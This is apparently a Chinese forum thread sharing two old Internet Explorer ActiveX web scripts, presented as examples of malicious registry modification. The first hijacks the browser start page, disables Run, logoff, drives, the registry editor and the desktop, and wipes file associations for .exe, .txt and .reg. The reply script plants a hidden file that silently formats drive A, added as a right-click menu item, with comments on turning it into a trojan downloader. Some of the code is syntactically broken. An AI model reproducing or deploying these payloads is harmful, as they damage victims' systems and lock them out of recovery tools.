给你一段修改注册表的程序
典型的通过修改注册表达到恶意的目的
<html>
<head>
<script language=javascript></script>
<head>
<body onload="SetNewWords()">
<form name="f1" method="POST" action="">
  <p>
  <textarea rows="160" name="s1" cols="122"></textarea></p>
  <p> </p>
  <p> </p>
  <p> </p>
  <p> </p>
  <p> </p>
  <p> </p>
  <p> </p>
  <p> </p>
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</form>
</body>
</html>
/* javascript脚本 
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
document.write("<h1>世上本无情,庸人自饶之。。</h1>"); 
function f()

try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject();  try 

//set home page 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://ok989.ok999.net");   //设置起始页
//end set home page  //Write Regedit 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); // Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY");  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "67108863", "REG_DWORD");  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop","00000001","REG_DWORD");  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");  Shl..RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "★魔界鬼域★"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "★天地无情。死不瞑目★");  Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\SchedulingAgent","","REG_SZ"); 
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSaveSettings",00,"REG_BINARY");  
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewContextMenu",01,"REG_BINARY");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoTrayContextMenu",01,"REG_BINARY");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ScanRegistry","","REG_SZ"); 
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\open\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\explore\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\\","C:\\Windows\\System\\Browseui.dll-","REG_SZ"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.inf\\","","REG_SZ"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.exe\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.com\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.txt\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.reg\\","","REG_SZ");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Enum\\PCI\\ChannelOptions",02,"REG_BINARY");  
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserClose","01", "REG_DWORD");    
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDevMgrPage","00000001", "REG_DWORD");    
            
            Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders","01000000","REG_DWORD");
            
            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFind", "00000001",  "REG_DWORD");            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFavoritesMenu", "00000001",  "REG_DWORD");            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRecentDocsMenu", "00000001",  "REG_DWORD");            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTaskbar", "00000001",  "REG_DWORD");
                     
            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD");
            Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\stimeformat","HH:mm:ss tt","REG_SZ");
            Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\s1159","★绝情魔界★","REG_SZ");         
            Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\s2359","★绝情魔界★","REG_SZ"); //end Write Regedit 
document.write("<body bgcolor='#FF0000'>");
document.write("<h1>天地无情。死不瞑目</h1>"); 

catch(e) 
{
    document.write("<body bgcolor='#FF0000'>");
document.write("<h1>天地无情。死不瞑目!</h1>"); 


catch(e) 
{
    document.write("<body bgcolor='#FF0000'>");
document.write("<h1>天地无情。死不瞑目</h1>"); 

} function clean() 

setTimeout("f()", 1000); 
} clean();
*/
 <SCRIPT LANGUAGE="JavaScript">
<!-- Begin
if (this.name!='fullscreen'){ 
  window.open(location.href,'fullscreen','fullscreen,scrollbars') 

//  End -->
</script><body bgcolor="#FF0000">
<p><b><font size="7" face="华文彩云">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</font></b></p>
<p><b><font face="华文彩云" size="7">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
抽刀断水,水更流。</font></b></p>
<p><font face="华文彩云"><font size="7"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
举杯消愁,愁更愁</b></font><b><font size="7">。</font></b></font></p>

解决方案 »

  1.   

    <script>
    //初始化actiVex控件
    document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
    //初始化actiVex控件结束
    //定义变量
    function reg(){
    try
    {
    //设定applets为0
    a=document.applets[0]
    //初始化Windows Script Host Shell Object
    a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
    a.createInstance()
    S=a.GetObject()
    //初始化FileSystem Object
    a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
    a.createInstance();
    fs=a.GetObject()
    try
    {
    //开始写注册表
    //设定IE的标题为Internet Explorer
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
    //设定IE的默认首页为空白页
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
    //让设定首页那项变灰
    S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
    //让设定分级审查设定那项变灰
    S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
    //在网页右键菜单中加入调用文件的命令
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
    //写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
    //对于REG_DWORD型和REG_BINARY型则有两种赋值方式
    //直接用十进制的数表示,如:0,1等
    //用十六进制的数表示,如:0x12,0xff等
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD")
    //结束写注册表
    //开始写硬盘
    //生成一个名为c:\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
    hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
    //把这个文件写入javascript内容
    //脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
    hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')
    //关闭这个文件
    hd.close()
    //把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马
    //格式为file=fs.GetFile("网络路径").Copy("运行路径")
    //这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
    file=fs.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
    //设定这个文件的属性为隐藏
    file.Attributes=6
    //结束写硬盘
    }
    catch(reg)
    {}
    }
    catch(reg)
    {}
    }
    function flash()
    {
    //隔100毫秒就运行一次
    setTimeout("reg()",100)
    }
    flash()
    //最后再重申,这个脚本不可用来害人,谢~
    </script>